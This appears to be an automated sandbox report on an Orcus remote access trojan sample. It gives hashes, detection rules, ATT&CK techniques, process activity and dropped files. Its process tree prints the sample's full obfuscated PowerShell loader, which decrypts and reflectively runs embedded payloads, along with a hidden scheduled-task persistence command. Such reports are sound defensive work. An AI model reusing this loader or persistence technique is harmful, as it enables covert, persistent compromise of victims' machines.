orcus | 31f17bf44fd2ce3fb0fde898d5bea0c35d18c82d3e2e9fcdae3cb8cd9f9fffb4

Analysis

max time kernel
146s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240412-en
resource tags

arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
submitted
24-04-2024 01:14

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General

Target

31f17bf44fd2ce3fb0fde898d5bea0c35d18c82d3e2e9fcdae3cb8cd9f9fffb4.bat
Size

3.5MB
MD5

45730c9d81cdc2677ea2bd082eb79edb
SHA1

7ece7b975ab6506d83dac94f685e2cedbe56dd6b
SHA256

31f17bf44fd2ce3fb0fde898d5bea0c35d18c82d3e2e9fcdae3cb8cd9f9fffb4
SHA512

d4504b96971c71e38207b56ada95f5e78f8536aaa88a3cbeebaa16627ff548f620672c0d4c61e74707fdc2662ec99584b5dc8d6e3fa1b7056f9595531422b687
SSDEEP

49152:mR8s3zr/pxAN80OHguszxrEC/agxlnUrLvlKNNwI:d

Score

10^/10

orcus rat spyware stealer

Malware Config

Signatures

Orcus
Orcus is a Remote Access Trojan that is being sold on underground forums.
rat spyware stealer orcus

Detects executables containing common artifacts observed in infostealers 1 IoCs

resource	yara_rule
behavioral2/memory/4544-54-0x00000229B7FD0000-0x00000229B82CA000-memory.dmp	INDICATOR_SUSPICIOUS_GENInfoStealer

Detects executables manipulated with Fody 1 IoCs

resource	yara_rule
behavioral2/memory/4544-54-0x00000229B7FD0000-0x00000229B82CA000-memory.dmp	INDICATOR_EXE_Packed_Fody

Orcurs Rat Executable 1 IoCs

resource	yara_rule
behavioral2/memory/4544-54-0x00000229B7FD0000-0x00000229B82CA000-memory.dmp	orcus

Blocklisted process makes network request 2 IoCs

flow	pid	Process
15	4544	powershell.exe
19	4544	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-355664440-2199602304-1223909400-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-355664440-2199602304-1223909400-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
440	powershell.exe
440	powershell.exe
3484	powershell.exe
3484	powershell.exe
4544	powershell.exe
4544	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	440	powershell.exe
Token: SeDebugPrivilege	3484	powershell.exe
Token: SeIncreaseQuotaPrivilege	3484	powershell.exe
Token: SeSecurityPrivilege	3484	powershell.exe
Token: SeTakeOwnershipPrivilege	3484	powershell.exe
Token: SeLoadDriverPrivilege	3484	powershell.exe
Token: SeSystemProfilePrivilege	3484	powershell.exe
Token: SeSystemtimePrivilege	3484	powershell.exe
Token: SeProfSingleProcessPrivilege	3484	powershell.exe
Token: SeIncBasePriorityPrivilege	3484	powershell.exe
Token: SeCreatePagefilePrivilege	3484	powershell.exe
Token: SeBackupPrivilege	3484	powershell.exe
Token: SeRestorePrivilege	3484	powershell.exe
Token: SeShutdownPrivilege	3484	powershell.exe
Token: SeDebugPrivilege	3484	powershell.exe
Token: SeSystemEnvironmentPrivilege	3484	powershell.exe
Token: SeRemoteShutdownPrivilege	3484	powershell.exe
Token: SeUndockPrivilege	3484	powershell.exe
Token: SeManageVolumePrivilege	3484	powershell.exe
Token: 33	3484	powershell.exe
Token: 34	3484	powershell.exe
Token: 35	3484	powershell.exe
Token: 36	3484	powershell.exe
Token: SeIncreaseQuotaPrivilege	3484	powershell.exe
Token: SeSecurityPrivilege	3484	powershell.exe
Token: SeTakeOwnershipPrivilege	3484	powershell.exe
Token: SeLoadDriverPrivilege	3484	powershell.exe
Token: SeSystemProfilePrivilege	3484	powershell.exe
Token: SeSystemtimePrivilege	3484	powershell.exe
Token: SeProfSingleProcessPrivilege	3484	powershell.exe
Token: SeIncBasePriorityPrivilege	3484	powershell.exe
Token: SeCreatePagefilePrivilege	3484	powershell.exe
Token: SeBackupPrivilege	3484	powershell.exe
Token: SeRestorePrivilege	3484	powershell.exe
Token: SeShutdownPrivilege	3484	powershell.exe
Token: SeDebugPrivilege	3484	powershell.exe
Token: SeSystemEnvironmentPrivilege	3484	powershell.exe
Token: SeRemoteShutdownPrivilege	3484	powershell.exe
Token: SeUndockPrivilege	3484	powershell.exe
Token: SeManageVolumePrivilege	3484	powershell.exe
Token: 33	3484	powershell.exe
Token: 34	3484	powershell.exe
Token: 35	3484	powershell.exe
Token: 36	3484	powershell.exe
Token: SeIncreaseQuotaPrivilege	3484	powershell.exe
Token: SeSecurityPrivilege	3484	powershell.exe
Token: SeTakeOwnershipPrivilege	3484	powershell.exe
Token: SeLoadDriverPrivilege	3484	powershell.exe
Token: SeSystemProfilePrivilege	3484	powershell.exe
Token: SeSystemtimePrivilege	3484	powershell.exe
Token: SeProfSingleProcessPrivilege	3484	powershell.exe
Token: SeIncBasePriorityPrivilege	3484	powershell.exe
Token: SeCreatePagefilePrivilege	3484	powershell.exe
Token: SeBackupPrivilege	3484	powershell.exe
Token: SeRestorePrivilege	3484	powershell.exe
Token: SeShutdownPrivilege	3484	powershell.exe
Token: SeDebugPrivilege	3484	powershell.exe
Token: SeSystemEnvironmentPrivilege	3484	powershell.exe
Token: SeRemoteShutdownPrivilege	3484	powershell.exe
Token: SeUndockPrivilege	3484	powershell.exe
Token: SeManageVolumePrivilege	3484	powershell.exe
Token: 33	3484	powershell.exe
Token: 34	3484	powershell.exe
Token: 35	3484	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4544	powershell.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
4544	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1800 wrote to memory of 440	1800	cmd.exe	85
PID 1800 wrote to memory of 440	1800	cmd.exe	85
PID 440 wrote to memory of 3484	440	powershell.exe	88
PID 440 wrote to memory of 3484	440	powershell.exe	88
PID 440 wrote to memory of 4648	440	powershell.exe	92
PID 440 wrote to memory of 4648	440	powershell.exe	92
PID 4648 wrote to memory of 4856	4648	WScript.exe	93
PID 4648 wrote to memory of 4856	4648	WScript.exe	93
PID 4856 wrote to memory of 4544	4856	cmd.exe	95
PID 4856 wrote to memory of 4544	4856	cmd.exe	95

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\31f17bf44fd2ce3fb0fde898d5bea0c35d18c82d3e2e9fcdae3cb8cd9f9fffb4.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1800
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RoF8A1JenCTYvN5F1s7vRkzErCsX+lTeTh7sYe5+YqQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p+fhmC+G5ORMSHe10ZC4cg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $CViub=New-Object System.IO.MemoryStream(,$param_var); $bMvnM=New-Object System.IO.MemoryStream; $IwWYG=New-Object System.IO.Compression.GZipStream($CViub, [IO.Compression.CompressionMode]::Decompress); $IwWYG.CopyTo($bMvnM); $IwWYG.Dispose(); $CViub.Dispose(); $bMvnM.Dispose(); $bMvnM.ToArray();}function execute_function($param_var,$param2_var){ $vQMJY=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GYRaA=$vQMJY.EntryPoint; $GYRaA.Invoke($null, $param2_var);}$uwemL = 'C:\Users\Admin\AppData\Local\Temp\31f17bf44fd2ce3fb0fde898d5bea0c35d18c82d3e2e9fcdae3cb8cd9f9fffb4.bat';$host.UI.RawUI.WindowTitle = $uwemL;$WQdbL=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($uwemL).Split([Environment]::NewLine);foreach ($CKiFo in $WQdbL) { if ($CKiFo.StartsWith(':: ')) { $vOqbs=$CKiFo.Substring(3); break; }}$payloads_var=[string[]]$vOqbs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:440
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_636_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_636.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3484
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_636.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:4648
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_636.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4856
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RoF8A1JenCTYvN5F1s7vRkzErCsX+lTeTh7sYe5+YqQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p+fhmC+G5ORMSHe10ZC4cg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $CViub=New-Object System.IO.MemoryStream(,$param_var); $bMvnM=New-Object System.IO.MemoryStream; $IwWYG=New-Object System.IO.Compression.GZipStream($CViub, [IO.Compression.CompressionMode]::Decompress); $IwWYG.CopyTo($bMvnM); $IwWYG.Dispose(); $CViub.Dispose(); $bMvnM.Dispose(); $bMvnM.ToArray();}function execute_function($param_var,$param2_var){ $vQMJY=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GYRaA=$vQMJY.EntryPoint; $GYRaA.Invoke($null, $param2_var);}$uwemL = 'C:\Users\Admin\AppData\Roaming\startup_str_636.bat';$host.UI.RawUI.WindowTitle = $uwemL;$WQdbL=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($uwemL).Split([Environment]::NewLine);foreach ($CKiFo in $WQdbL) { if ($CKiFo.StartsWith(':: ')) { $vOqbs=$CKiFo.Substring(3); break; }}$payloads_var=[string[]]$vOqbs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:4544

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
661739d384d9dfd807a089721202900b

SHA1
5b2c5d6a7122b4ce849dc98e79a7713038feac55

SHA256
70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

SHA512
81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
345e9f98bd5ff1def2f4cd73d9f83a8e

SHA1
9132828267045915fd009f9eac20def8371814be

SHA256
bc9dbd892f1a74587f2a6810ede52e86c81872e9703c7c8ab05039994a45f1aa

SHA512
5bf601c8463ba6a877a8f399bcfbd3b8ae456a008ab25461c574a6cdb98fff44bdac0b1304a526438b6c87d4ec735a382e2af3b17580a71f3fe54f5e48ff579f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2clwi1ae.hvb.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_636.bat

Filesize
3.5MB

MD5
45730c9d81cdc2677ea2bd082eb79edb

SHA1
7ece7b975ab6506d83dac94f685e2cedbe56dd6b

SHA256
31f17bf44fd2ce3fb0fde898d5bea0c35d18c82d3e2e9fcdae3cb8cd9f9fffb4

SHA512
d4504b96971c71e38207b56ada95f5e78f8536aaa88a3cbeebaa16627ff548f620672c0d4c61e74707fdc2662ec99584b5dc8d6e3fa1b7056f9595531422b687

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_636.vbs

Filesize
115B

MD5
f7285ab2d70b7dc40bc62629bbffa02e

SHA1
4844df19650968c98fa06bec7a0b1ab0832165da

SHA256
bf51d5de1fd2aac3f0b781c6cda7883284e94352e3b70fe010402b9a22406340

SHA512
b67e31bdf10842eac2b138585c4c2984a42a713b4f6f01cb5edcbef8d7dc26025ce107e6e31a8b24aae849b103a9edbb293cc104dc132d158befececce5f979c

Download Submit
memory/440-8-0x00000246F9550000-0x00000246F9560000-memory.dmp

Filesize
64KB

Download
memory/440-14-0x00000246FBBA0000-0x00000246FBE48000-memory.dmp

Filesize
2.7MB

Download
memory/440-13-0x00000246E11A0000-0x00000246E11A8000-memory.dmp

Filesize
32KB

Download
memory/440-53-0x00007FFA582E0000-0x00007FFA58DA1000-memory.dmp

Filesize
10.8MB

Download
memory/440-0-0x00007FFA582E0000-0x00007FFA58DA1000-memory.dmp

Filesize
10.8MB

Download
memory/440-7-0x00000246F9550000-0x00000246F9560000-memory.dmp

Filesize
64KB

Download
memory/440-1-0x00000246FB640000-0x00000246FB662000-memory.dmp

Filesize
136KB

Download
memory/3484-16-0x00007FFA582E0000-0x00007FFA58DA1000-memory.dmp

Filesize
10.8MB

Download
memory/3484-17-0x0000025134630000-0x0000025134640000-memory.dmp

Filesize
64KB

Download
memory/3484-18-0x0000025134630000-0x0000025134640000-memory.dmp

Filesize
64KB

Download
memory/3484-28-0x0000025134630000-0x0000025134640000-memory.dmp

Filesize
64KB

Download
memory/3484-31-0x00007FFA582E0000-0x00007FFA58DA1000-memory.dmp

Filesize
10.8MB

Download
memory/4544-40-0x00007FFA582E0000-0x00007FFA58DA1000-memory.dmp

Filesize
10.8MB

Download
memory/4544-48-0x00000229957B0000-0x00000229957C0000-memory.dmp

Filesize
64KB

Download
memory/4544-47-0x00000229957B0000-0x00000229957C0000-memory.dmp

Filesize
64KB

Download
memory/4544-54-0x00000229B7FD0000-0x00000229B82CA000-memory.dmp

Filesize
3.0MB

Download
memory/4544-55-0x00000229955D0000-0x000002299562C000-memory.dmp

Filesize
368KB

Download
memory/4544-56-0x00000229956A0000-0x00000229956AE000-memory.dmp

Filesize
56KB

Download
memory/4544-57-0x00000229B82D0000-0x00000229B82E2000-memory.dmp

Filesize
72KB

Download
memory/4544-58-0x00000229B82E0000-0x00000229B82F8000-memory.dmp

Filesize
96KB

Download
memory/4544-59-0x00000229B8700000-0x00000229B8710000-memory.dmp

Filesize
64KB

Download
memory/4544-62-0x00000229B8A10000-0x00000229B8A22000-memory.dmp

Filesize
72KB

Download
memory/4544-63-0x00000229B8A70000-0x00000229B8AAC000-memory.dmp

Filesize
240KB

Download
memory/4544-64-0x00000229B8BC0000-0x00000229B8CCA000-memory.dmp

Filesize
1.0MB

Download
memory/4544-65-0x00000229B8EA0000-0x00000229B9062000-memory.dmp

Filesize
1.8MB

Download
memory/4544-66-0x00007FFA582E0000-0x00007FFA58DA1000-memory.dmp

Filesize
10.8MB

Download
memory/4544-67-0x00000229957B0000-0x00000229957C0000-memory.dmp

Filesize
64KB

Download
memory/4544-68-0x00000229957B0000-0x00000229957C0000-memory.dmp

Filesize
64KB

Download
memory/4544-69-0x00000229957B0000-0x00000229957C0000-memory.dmp

Filesize
64KB

Download